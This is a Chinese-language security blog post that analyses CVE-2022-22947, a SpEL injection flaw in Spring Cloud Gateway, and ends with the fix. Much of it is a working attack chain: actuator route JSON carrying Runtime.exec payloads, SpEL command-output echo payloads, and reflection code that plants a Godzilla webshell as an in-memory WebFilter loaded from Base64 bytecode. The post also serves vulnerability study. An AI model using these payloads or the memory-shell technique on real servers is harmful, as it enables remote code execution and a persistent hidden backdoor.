天天看點

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

這篇文章的主要目的是學習一下spel表達式注入和哥斯拉記憶體馬注入,還有神器java-object-searcher的使用

  • spel支援在運作時查詢和操作對象圖,以API接口的形式建立,是以可以內建到其他應用程式和架構中

spel接口

  • ExpressionParser接口:解析器

ExpressionParser接口下的parseExpression()方法将字元串表達式轉化為Expression對象

parseExpression()接收參數:Expression parseExpression(String expressionString, ParserContext context);

其中parserContext定義了字元串表達式是否為模闆,和模闆開始與結束字元

我們經常看見的spel表達式以#{xxx}的形式出現,他的parserContext如下:

ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getExpressionPrefix() {
                return "#{";
            }
            @Override
            public String getExpressionSuffix() {
                return "}";
            }
        };
           
  • EvaluationContext接口:表示上下文環境。以SpelExpression實作,提供getValue和setValue操作對象值

spel文法

  • T(全限定名)表示java.lang.Class,RCE的關鍵,如下使用T(java.lang.Runtime)擷取了類,并且可以直接使用類下的方法
T(java.lang.Runtime).getRuntime().exec("calc")
           
  • 和java一樣的關鍵字:new進行類執行個體化,instanceof判斷type
new java.lang.ProcessBuilder("calc.exe).start()
           
  • 變量定義和引用:變量定義:EvaluationContext的setVariable(name,value)引用:#name,還支援#this和#root

spel Controller

pom.xml中添加依賴:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>xxx</version>
</dependency>
           

建立一個controller接收字元參數

@Controller
public class spel {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}
           

使用spelExpressionParser接口建立解析器

SpelExpressionParser parser = new SpelExpressionParser();
           

指定ExpressionParser#parseExpression()來解析表達式

Expression expression = parser.parseExpression(input);
           

getValue根據上下文獲得表達式

expression.getValue().toString();
           

如果向該Controller HTTP傳參,參數名為Input,就能進行spel解析

spel回顯

  1. commons-io元件回顯。但是需要伺服器存在該元件,一般都沒有
  2. T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
  1. jdk>=9時使用JShell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('java payload').toString()
           
  1. jdk原生類BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()
           
  1. scanner
new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
           

useDelimiter為分隔符

源碼分析

Spring Cloud GateWay版本:3.1.0&<=3.0.0-3.0.6

源碼:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0

idea打開就能分析了

在shortcutConfigurable#getValue中,#{}包住的進行spel解析,這就是鍊最後的地方,控制entryValue即可實作spel注入

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

在shortcutType處使用了getValue

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

由于是在shortcutType中的normalize中調用的getValue(),是以找也要找調用了shortcutType().normalize()方法的類,ConfigurationService就符合

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

上文的entry.getValue(),entry即為第一個參數,也就是一個Map。這裡控制this.properties為惡意map就能控制spel表達式

在bind()方法中觸發了normalizeProperties()方法:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

在RouteDefinitionRouteLocator#lookup()方法中對properties進行了設定,然後調用了bind()

properties的值為predicate.getArgs()

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

在combinePredicates中定義了predicate的值,與routeDefinition有關

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

在convertToRoute()中調用了combinePredicates()

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

而在路由初始化時觸發convertToRoute()

CacheingRouteLocator#onApplicationEvent()->
    CachingRouteLocator#fetch()->
        CompositeRouteLocator#getRoutes()->
            RouteDefinitionRouteLocator#getRoutes()->
                RouteDefinitionRouteLocator#convertToRoute()
           

漏洞利用

在官方文檔https://docs.spring.io/spring-cloud-gateway/docs/3.1.0/reference/html/#actuator-api中,提供了json發送路由請求内容

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

Actuator API提供了Rest添加路由的方式:

要建立一個路由,請向/gateway/routes/{id_route_to_create}發出一個POST請求,該請求包含一個指定路由字段的JSON主體(見檢索某個特定路由的資訊)。要删除一個路由,請向/gateway/routes/{id_route_to_delete}發出一個DELETE請求。
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

http://xxx/actuator/gateway/routes/{xxx}添加路由

也就是可以向http://xxx/actuator/gateway/routes/godown如下payload進行注入

{
  "id": "godown",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec('calc')}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}
           

建立完之後向http://xxx/actuator/gateway/refresh發送請求即可重新整理

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

其實添加的這部分路由對應着配置檔案中的route部分:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

注意在建立路由的時候把content-type改為application/json

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

拓展鍊

上文payload裡的其他參數有沒有用?name為什麼要是Path?

借用奇安信的一張調用棧圖:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

在RouteDefinitionRouteLocator#convertToRoute()方法處

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

除了會調用combinePredicates,還會調用getFilters來觸發loadGatewayFilters進行bind

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

是以在filters處注入也是可以的

  • 奇安信攻防實驗室對各種過濾器進行了實驗,事實證明所有過濾器都可以:https://forum.butian.net/share/1410

過濾器名稱:

AddRequestHeader MapRequestHeader AddRequestParameter AddResponseHeader ModifyRequestBody DedupeResponseHeader ModifyResponseBody CacheRequestBody PrefixPath PreserveHostHeader RedirectTo RemoveRequestHeader RemoveRequestParameter RemoveResponseHeader RewritePath Retry SetPath SecureHeaders SetRequestHeader SetRequestHostHeader SetResponseHeader RewriteResponseHeader RewriteLocationResponseHeader SetStatus SaveSession StripPrefix RequestHeaderToRequestUri RequestSize RequestHeaderSize

payload:

{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "Retry",
        "args": 
            {
                "name": "payload",
                "value": "123"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}
           

修改filters.name為任意合法過濾器名,payload處改為spel表達式

同理,predicates裡的name,我們之前用的Path

實際上下列predicates都能用:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

回顯

使用者定義的路由資訊會存在記憶體中,refresh後會把結果寫入路由資訊。通過路由資訊的API看到RCE的結果(就上面payload注冊完路由後GET通路路由路徑)

  • 利用RedirectTO過濾器注入:
{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "RedirectTo",
        "args": 
            {
                "status": "302",
                "url": "payload"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}
           

在spring官方文檔可以看到RedirectTo接收兩個參數,一個status一個url,但是會驗證參數類型,也就是說status就必須是枚舉類型,url就會進行url解析,是以該過濾器不能使用,沒有傳入字元串類型的參數,如RemoveRequestHeader,同理對predicates鍊

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

注入記憶體馬

spring cloud gateway是基于WebFlux的,關于WebFlux,這篇文章有詳盡的說明:

https://juejin.cn/post/7001032584821997598

web服務基于netty和spring,c0ny1佬對針對netty和spring構造了記憶體馬

netty記憶體馬

netty處理http請求會用pipeline鍊上的handler依次來處理,記憶體馬就是模拟注冊一個handler。但是netty是動态構造pipeline。

動态添加handler的CompositeChannelPipelineConfigurer的compositeChannelPipelineConfigurer第二個參數other預設為空,即預設第一個。如果第二個參數other有值,将被合并為一個新Configurer

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

使用reactor.netty.transport.TransportConfig#doOnchannelInit來擷取Configurer

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

至于構造netty記憶體馬的代碼,已經來到了知識盲區,直接移步https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

記憶體馬

分析一遍mieea佬的webFilter記憶體馬

spring Webflux是有filter的,在官方文檔裡有:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

我們知道filter一般都是一個鍊,在這裡是用DefaultWebFilterChain

在DefaultWebFilterChain#invokefilter()處觸發filter

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

可以看到filter()參數隻有ServerWebExchange,那模拟就return調用下一個filter構成filter鍊

一個Filter Demo:

import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter{
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        return chain.filter(exchange);
    }
}
           

反射利用DefaultWebFilterChain#initChain()模拟注冊一個filter:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

該Chain由FilteringWebHandler生成執行個體,直接new FilteringWebHandler就能将Filter插入到首位

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

poc構造:

調試環境:https://github.com/Ha0Liu/CVE-2022-22947

使用c0ny1師傅的java-Object-searcher工具(https://github.com/c0ny1/java-object-searcher)找到記憶體中DefaultWebFilterChain的位置

建立一個NormalFilter,把編譯好的java-obejct-searcher-0.1.0.jar導入到target目錄下,項目啟動後觸發一遍filter

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        //設定搜尋類型包含Request關鍵字的對象
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("chain").build());
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        searcher.setBlacklists(blacklists);
        searcher.setIs_debug(true);
        searcher.setMax_search_depth(10);
        searcher.setReport_save_path("xx");
        searcher.searchObject();
        return chain.filter(exchange);
    }
}
           

如下:

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

于是我們得到記憶體馬構造的流程:

  1. 構造惡意filter

哥斯拉裡面生成jsp的馬

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

filter不能影響正常的業務,加一個身份驗證的http頭:

String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}
           

表單資料用ServerWebexchange.getFormData()擷取

Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
           

擷取到的資料是鍵值對資料流,用flatMap對資料流進行合并化:

Mono bufferStream = formData.flatMap(map -> {
                String passStr = map.getFirst(pass);
                StringBuilder result = new StringBuilder();
                ......
                return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
           

為友善移植,把哥斯拉的session換成Map<String,Object>

public static Map<String, Object> store = new HashMap<>();
           
  1. 從線程中擷取到DefaultWebFilterChain:
getThreads = Thread.class.getDeclaredMethod("getThreads");
        getThreads.setAccessible(true);
        Object threads = getThreads.invoke(null);
        for (int i = 0; i < Array.getLength(threads); i++) {
            Object thread = Array.get(threads, i);
            if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                // 擷取defaultWebFilterChain
                NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
                ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
                Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
                HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
                ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
                FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
                DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
           
  1. 将惡意filter插入到Chain中,并指定到首位(0位)
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new FilterMemshellPro());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
           

生成filteringWebHandler:

Field f = filteringWebHandler.getClass().getDeclaredField("chain");
....
f.set(filteringWebHandler,newChain);
           

直達github完整poc:https://github.com/mieeA/SpringWebflux-MemShell/

spel表達式注入位元組碼

Memshell改為你的軟體包名+shell

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
           
其中'yv66vgAAA....'為Base64Encode的位元組碼,可通過如下代碼生成:
import org.springframework.util.Base64Utils; import java.io.*; import java.nio.charset.StandardCharsets; public class EncodeShell { public static void main(String[] args){ byte[] data = null; try { InputStream in = new FileInputStream("MemShell.class"); data = new byte[in.available()]; in.read(data); in.close(); } catch (IOException e) { e.printStackTrace(); } String shellStr = Base64Utils.encodeToString(data); System.out.println(shellStr); try { OutputStream out = new FileOutputStream("ShellStr.txt"); out.write(shellStr.getBytes(StandardCharsets.UTF_8)); out.flush(); out.close(); } catch (IOException e) { e.printStackTrace(); } } }           
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬
從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

如果注入過程有問題,可以在docker中看下Log

漏洞修複

https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698

commit的曆史中,把StandardEvaluationContext替換為了SimpleEvalutionContext

從CVE-2022-22947學習用java-object-searcher構造哥斯拉馬

參考:spel表達式注入

spel注入分析

http://wjlshare.com/archives/1748

https://xz.aliyun.com/t/11331

https://forum.butian.net/share/1410

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

from: https://xz.aliyun.com/t/12388